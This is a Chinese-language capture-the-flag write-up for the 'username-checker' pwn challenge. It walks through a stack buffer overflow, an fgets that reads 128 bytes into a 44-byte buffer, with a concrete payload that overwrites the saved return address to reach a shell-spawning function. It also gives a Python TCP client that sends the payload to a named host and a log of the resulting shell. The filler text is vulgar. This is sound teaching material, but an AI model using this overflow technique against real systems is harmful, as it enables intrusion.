嗯没错,你正在看一个很烂的Write-Up.
pwn/username-checker

下载附件,得到一个checker和详细的容器配置。分析check的main如下:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdin, 0, 2, 0);
  setvbuf(_bss_start, 0, 2, 0);
  puts("~-~ username-checker ~-~");
  return check_username();
}

进入check_username()如下:

__int64 check_username()
{
size_t v1; // rbx
char s[44]; // [rsp+0h] [rbp-40h] BYREF
int i; // [rsp+2Ch] [rbp-14h]

printf("please enter a username you want to check: ");
fgets(s, 128, stdin);
s[strcspn(s, "\n")] = 0;
if ( strlen(s) <= 0xF )
{
    for ( i = 0; ; ++i )
    {
    v1 = i;
    if ( v1 >= strlen(s) )
        break;
    if ( ((*__ctype_b_loc())[s[i]] & 8) == 0 && s[i] != 95 && s[i] != 91 && s[i] != 93 && s[i] != 45 && s[i] != 32 )
    {
        puts("username contains invalid characters");
        return 1;
    }
    }
    if ( !strcmp(s, "super_secret_username") )
    win();
    else
    puts("username is valid!");
    return 0;
}
else
{
    puts("username is too long");
    return 1;
}
}

查看win()发现:

int win()
{
puts("how did you get here?");
return system("/bin/sh");
}

根据容器配置

COPY checker run
COPY flag.txt .

我们可以断言作者可能希望我们拿到shell并cat flag.txt来获得flag。

分析check_username()
要进入win分支,需要满足3个条件:

  1. 文本长度小于15
  2. 文本每个字符可以是数字,符号等
  3. 名字必须是super_secret_username

可发现1、3互斥。所以不能使用正常思路解题。

注意到

char s[44];
...
printf("please enter a username you want to check: ");
fgets(s, 128, stdin);

缓冲区s的大小是44字节,但fgets允许读入128字节。也许可以产生overflow。
通过gdb的观察可以发现与之有关的大概结构:

HIGH
+------------------------------+
| 旧 RIP                       |
+------------------------------+
| 旧 RBP                       |
+------------------------------+
| 4b                           | (padding)
+------------------------------+
| RBX                          |
+------------------------------+
| 12b                          | (可能是padding+int)
+------------------------------+
| char s[44];                  |
+------------------------------+
LOW

于是便可构造一个字符数组,复写RBP,RIP
为了让程序正常运行,我将沿用当前rbp地址,并只覆写rip,
这样做即可在ret (pop rbp, pop rip)的时候,rbp不变,仅改变rip,以此达到和JMP等效的作用。

根据gdb显示发现(断点于check_username()进入后),此帧rbp地址为0x007FFFFFFFDA40。
改变rip后,我们需要call win(),我选择跳转到check_username()中判断成功准备执行win()处:0x00000000004013AD
于是可以按下列方法构造

+----------+---------+---------+
| ANY(64b) | RBP(8b) | RIP(8b) |
+----------+---------+---------+

例如我使用的:

'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck\x40\xda\xff\xff\xff\x7f\x00\x00\xAD\x13\x40\x00\0\0\0\0\n'

完成。

然后使用python的pwn库,或者自己随便写一个tcp client就行了,这里我选择的是后者,因为写好之前我还不知道有pwn这种东西(悲)。

#!/usr/bin/env python3
import socket
import sys
import threading
import os

def recv_forever(sock: socket.socket):
    try:
        while True:
            data = sock.recv(4096)
            if not data:
                print('\n[=== 对端关闭 ===]')
                os._exit(0)
            sys.stdout.buffer.write(data)
            sys.stdout.flush()
    except OSError:
        pass

def main():
    if len(sys.argv) != 3:
        print('Usage: python tcp_tool.py <host> <port>')
        sys.exit(1)

    host, port = sys.argv[1], int(sys.argv[2])

    sock = socket.create_connection((host, port))
    print(f'[=== 已连接 {host}:{port} ===]')

    threading.Thread(target=recv_forever, args=(sock,), daemon=True).start()

    try:
        while True:
            try:
                line = input()
                if line == "fuck":
                    a = b'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck\x40\xda\xff\xff\xff\x7f\x00\x00\xAD\x13\x40\x00\0\0\0\0\n'
                    sock.sendall(a)
                    continue
            except EOFError:
                break
            sock.sendall(line.encode() + b'\n')
    except KeyboardInterrupt:
        pass
    finally:
        sock.shutdown(socket.SHUT_WR)
        sock.close()
        print('\n[=== 已断开 ===]')

if __name__ == '__main__':
    main()

实现完成,使用 python xxx.py 34.14.78.95 1337 运行,

==  proof-of-work: disabled ==
~-~ username-checker ~-~
please enter a username you want to check: fuck (这里输入fuck,python自动发送payload)
username is too long
how did you get here?
ls
flag.txt
run
exit

拿到shell之后cat就行了。
完毕。